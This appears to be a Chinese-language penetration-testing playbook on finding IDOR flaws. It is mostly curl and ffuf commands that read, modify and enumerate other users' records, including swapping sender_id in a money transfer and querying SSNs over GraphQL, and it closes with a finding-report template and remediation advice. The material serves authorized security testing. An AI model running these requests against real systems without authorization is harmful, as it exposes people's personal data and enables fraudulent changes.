exploiting-idor-vulnerabilities

利用 IDOR 漏洞

何时使用

• 在授权的渗透测试中，测试资源端点的访问控制时
• 当 API 或网页在 URL 或请求体中使用可预测的标识符（数字 ID、UUID、slug）时
• 用于验证对象级授权是否在所有 CRUD 操作中都得到强制执行
• 在测试多租户应用时，用户应只能访问自己的数据
• 在针对失效访问控制漏洞的漏洞赏金项目中

前置条件

• 授权：针对目标应用的书面渗透测试协议
• Burp Suite Professional：已从 BApp Store 安装 Authorize 扩展
• 两个测试账户：至少两个具有不同权限级别的独立用户账户
• Burp Authorize 扩展：用于跨会话的自动化 IDOR 测试
• curl/httpie：用于手动构造请求
• 浏览器：已配置为通过 Burp Suite 代理

工作流

步骤 1：映射应用中的所有对象引用

识别应用中所有通过 ID 引用对象的端点。

# Browse the application through Burp proxy with User A
# Review Burp Target > Site Map for endpoints with object references

# Common IDOR-prone endpoints to look for:
# GET /api/users/{id}
# GET /api/orders/{id}
# GET /api/invoices/{id}/download
# PUT /api/users/{id}/profile
# DELETE /api/posts/{id}
# GET /api/documents/{id}
# GET /api/messages/{conversation_id}

# Extract all endpoints with IDs from Burp proxy history
# Burp > Proxy > HTTP History > Filter by target domain
# Look for patterns: /resource/123, ?id=123, {"user_id": 123}

# Check different ID formats:
# Numeric sequential: /users/101, /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Base64 encoded: /users/MTAx (decodes to "101")
# Hashed: /users/5d41402abc4b2a76b9719d911017c592
# Slug: /users/john-doe

步骤 2：配置 Burp Authorize 扩展以进行自动化测试

设置 Authorize 扩展，以使用另一个用户的会话自动重放请求。

# Install Authorize from BApp Store:
# Burp > Extender > BApp Store > Search "Authorize" > Install

# Configuration:
# 1. Log in as User B (victim) in a separate browser/incognito
# 2. Copy User B's session cookie/authorization header
# 3. In Authorize tab > Configuration:
#    - Add User B's cookies in "Replace cookies" section
#    - Or add User B's Authorization header in "Replace headers"

# Example header replacement:
# Original (User A): Authorization: Bearer <token_A>
# Replace with (User B): Authorization: Bearer <token_B>

# 4. Enable "Intercept requests from Repeater"
# 5. Enable "Intercept requests from Proxy"

# Authorize will show:
# - Green: Properly restricted (different response for different user)
# - Red: Potentially vulnerable (same response regardless of user)
# - Orange: Uncertain (needs manual verification)

步骤 3：测试水平 IDOR（相同权限级别）

尝试访问同一权限级别下属于另一个用户的资源。

# Authenticate as User A (ID: 101)
TOKEN_A="Bearer eyJ..."

# Get User A's own resources
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/101/profile" | jq .

# Attempt to access User B's resources (ID: 102) with User A's token
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/profile" | jq .

# Compare responses - if both return 200 with data, IDOR is confirmed

# Test across different resource types
for resource in profile orders invoices messages documents; do
  echo "--- Testing $resource ---"
  # User A's resource
  curl -s -o /dev/null -w "Own: %{http_code} " \
    -H "Authorization: $TOKEN_A" \
    "https://target.example.com/api/v1/users/101/$resource"
  # User B's resource
  curl -s -o /dev/null -w "Other: %{http_code}\n" \
    -H "Authorization: $TOKEN_A" \
    "https://target.example.com/api/v1/users/102/$resource"
done

# Test with POST/PUT/DELETE for write-based IDOR
curl -s -X PUT -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"name":"Hacked"}' \
  "https://target.example.com/api/v1/users/102/profile"

步骤 4：测试垂直 IDOR（跨权限级别）

尝试使用普通用户令牌访问管理员或更高权限的资源。

# As regular user, try accessing admin user profiles
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/1/profile" | jq .

# Try accessing admin-specific resources
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/admin/reports/1" | jq .

# Test accessing resources across organizational boundaries
# User in Org A trying to access Org B's resources
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/organizations/2/settings" | jq .

# Test file download IDOR
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/invoices/999/download" -o test.pdf
file test.pdf

步骤 5：测试非显而易见位置中的 IDOR

在请求体、请求头和间接引用中查找 IDOR。

# IDOR in request body parameters
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"sender_id": 101, "recipient_id": 102, "amount": 1}' \
  "https://target.example.com/api/v1/transfers"

# Change sender_id to another user
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"sender_id": 102, "recipient_id": 101, "amount": 1000}' \
  "https://target.example.com/api/v1/transfers"

# IDOR in file references
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/files?path=/users/102/documents/secret.pdf"

# IDOR in GraphQL
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: 102) { email phone ssn } }"}' \
  "https://target.example.com/graphql"

# IDOR via parameter pollution
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/101/profile?user_id=102"

# IDOR in bulk operations
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"ids": [101, 102, 103, 104, 105]}' \
  "https://target.example.com/api/v1/users/bulk"

步骤 6：枚举并升级影响

确定通过 IDOR 造成数据泄露的完整范围。

# Enumerate valid object IDs
ffuf -u "https://target.example.com/api/v1/users/FUZZ/profile" \
  -w <(seq 1 500) \
  -H "Authorization: $TOKEN_A" \
  -mc 200 -t 10 -rate 20 \
  -o valid-users.json -of json

# Count total accessible records
jq '.results | length' valid-users.json

# Check what sensitive data is exposed per record
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/profile" | \
  jq 'keys'
# Look for: email, phone, address, ssn, payment_info, password_hash

# Test IDOR on state-changing operations
# Can User A delete User B's resources?
curl -s -X DELETE -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/posts/1" \
  -w "%{http_code}"
# WARNING: Only test DELETE on known test data, never on real user data

关键概念

概念	描述
水平 IDOR	访问同一权限级别下属于另一个用户的资源
垂直 IDOR	访问需要比当前用户更高权限的资源
直接对象引用	在 API 参数中直接使用数据库键、文件路径或标识符
间接对象引用	使用服务器解析为实际对象的映射引用（例如索引）
对象级授权	服务器端检查请求用户是否有权访问特定对象
可预测 ID	允许轻松枚举有效对象的连续数字标识符
UUID 随机性	使用 UUIDv4 会增加枚举难度，但不能替代授权检查

工具与系统

工具	用途
Burp Suite Professional	带 Intruder 的 HTTP 代理，用于 ID 枚举；带 Repeater，用于手动测试
Authorize（Burp 扩展）	通过使用不同用户会话重放请求来自动化 IDOR 测试
AutoRepeater（Burp 扩展）	使用修改后的授权头自动重复请求
Postman	使用环境变量在用户上下文之间切换的 API 测试
ffuf	对对象 ID 参数进行快速模糊测试
OWASP ZAP	免费的代理替代方案，带有访问控制测试插件

常见场景

场景 1：发票下载 IDOR

/invoices/{id}/download 端点生成 PDF 发票。通过递增发票 ID，任何已认证用户都可以下载属于其他客户的发票，从而泄露账单地址和支付详情。

场景 2：用户资料数据泄露

/api/users/{id} 端点返回完整用户资料，包括电子邮件、电话和地址。该 API 仅检查请求是否具有有效令牌，但从不验证令牌所有者是否与请求的用户 ID 匹配。

场景 3：通过路径操纵进行文件访问

某文档管理系统将文件存储在 /files/{user_id}/{filename}。通过更改 user_id 路径段，用户可以访问其他用户上传的私密文档。

场景 4：消息会话劫持

位于 /api/conversations/{id}/messages 的消息端点允许任何已认证用户通过更改会话 ID 读取任意会话中的消息。

输出格式

## IDOR Vulnerability Finding

**Vulnerability**: Insecure Direct Object Reference (Horizontal IDOR)
**Severity**: High (CVSS 7.5)
**Location**: GET /api/v1/users/{id}/profile
**OWASP Category**: A01:2021 - Broken Access Control

### Reproduction Steps
1. Authenticate as User A (ID: 101) and obtain JWT token
2. Send GET /api/v1/users/101/profile with User A's token (returns own profile)
3. Change the ID to 102: GET /api/v1/users/102/profile with User A's token
4. Observe that User B's full profile is returned including PII

### Affected Endpoints
| Endpoint | Method | Impact |
|----------|--------|--------|
| /api/v1/users/{id}/profile | GET | Read PII of any user |
| /api/v1/users/{id}/orders | GET | Read order history of any user |
| /api/v1/users/{id}/profile | PUT | Modify profile of any user |
| /api/v1/invoices/{id}/download | GET | Download any user's invoices |

### Impact
- 15,000+ user profiles accessible (enumerated IDs 1-15247)
- Exposed fields: name, email, phone, address, date_of_birth
- Write IDOR allows profile modification of other users
- Violates GDPR data access controls

### Recommendation
1. Implement object-level authorization: verify the requesting user owns or has permission to access the requested object
2. Use non-enumerable identifiers (UUIDv4) as a defense-in-depth measure
3. Log and alert on sequential ID enumeration patterns
4. Implement rate limiting on resource endpoints